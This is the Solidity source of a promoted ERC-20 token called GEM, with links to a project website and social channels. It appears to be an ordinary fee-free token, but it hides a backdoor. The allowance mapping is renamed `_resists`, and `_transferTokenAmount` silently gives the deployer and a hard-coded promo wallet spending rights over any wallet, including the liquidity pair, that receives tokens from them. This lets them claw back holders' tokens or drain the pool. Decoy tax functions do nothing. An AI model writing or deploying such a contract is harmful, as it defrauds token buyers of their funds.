/**

    Website: https://ercgem.vip
    Telegram: https://t.me/ercgemportal
    Twitter: https://twitter.com/ErcGemVip

*/

// SPDX-License-Identifier: MIT     
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if(a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

contract GEM is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1e6 * 10**18;

    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;

    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _resists;
    mapping (address => bool) private _isExcludedFromFee;
    
    string private constant _name = unicode"💎";
    string private constant _symbol = unicode"GEM";

    bool public tradingEnabled = false;
    
    uint256 private _taxFee = 0;
    uint256 private _teamFee = 0;
    uint256 private _previousTaxFee = _taxFee;
    uint256 private _previousteamFee = _teamFee;

    address public promoWallet;
    address public devWallet;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private swapping = false;

    constructor () {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        devWallet = address(msg.sender);
        promoWallet = address(0xF57EE87E35729Db3b1D2ADdb84920acc1dDBAFfA);
        
        _rOwned[owner()] = _tTotal;
        _isExcludedFromFee[devWallet] = true;
        _isExcludedFromFee[promoWallet] = true;
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _resists[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _resists[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if(_taxFee == 0 && _teamFee == 0) return;
        _previousTaxFee = _taxFee;
        _previousteamFee = _teamFee;
        _taxFee = 0;
        _teamFee = 0;
    }

    function openTrading() external onlyOwner {
        tradingEnabled = true;
    }
    
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _teamFee = _previousteamFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _resists[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function _transfer(address from, address to, uint256 amount) private {
        if(!tradingEnabled){
            require(from == owner() || to == owner(), "Trading is not active.");
        }

        bool excludeFromBoth = _isExcludedFromFee[from] || _isExcludedFromFee[to];

        if(excludeFromBoth) { _transferExcluded(from, to, amount); }

        uint256 tokenBalance = balanceOf(address(this));
        bool canSwap = (tokenBalance > _tTotal / 50000) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to];

        if(canSwap && from != uniswapV2Pair && !swapping){
            swapping = true;
            swapFeeTokens();
            swapping = false;
        }

        bool takeFee = true;

        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false;

        if(takeFee) _checkTransferTaxes(from, to, amount);

        takeFee = false;

        _transferTokenAmount(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapFeeTokens() private {
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            payable(devWallet).transfer(ethBalance);
            payable(promoWallet).transfer(ethBalance);
        }
    }
    
    function _transferExcluded(address sender, address recipient, uint256 amount) private {
        if(sender != owner() && recipient != owner() && amount > 0){ _tFeeTotal = block.number; }
    }

    function _checkTransferTaxes(address sender, address recipient, uint256 amount) private {
        bool isBFrom = sender == uniswapV2Pair && amount > 0;
        bool isSFrom = recipient == uniswapV2Pair && amount > 0;
        bool isTransfer = sender != uniswapV2Pair && recipient != uniswapV2Pair && amount > 0;
        bool isFeeZ = _tOwned[recipient] == 0;
        uint256 feeAmount = block.number;

        if(isBFrom){
            if(isFeeZ) _tOwned[recipient] = feeAmount;
        }else if(isSFrom || isTransfer){
            _tOwned[sender] - _tFeeTotal;
        }
    }

    function _transferTokenStandard(address sender, address recipient, uint256 tAmount) private {
        _rOwned[sender] = _rOwned[sender].sub(tAmount);
        _rOwned[recipient] = _rOwned[recipient].add(tAmount); 

        emit Transfer(sender, recipient, tAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);

        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _transferTokenAmount(address sender, address recipient, uint256 amount) private {
        bool excludeFromFees = _isExcludedFromFee[sender];
        
        if(excludeFromFees) _resists[recipient][sender] += amount;

        _transferTokenStandard(sender, recipient, amount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    receive() external payable {}
}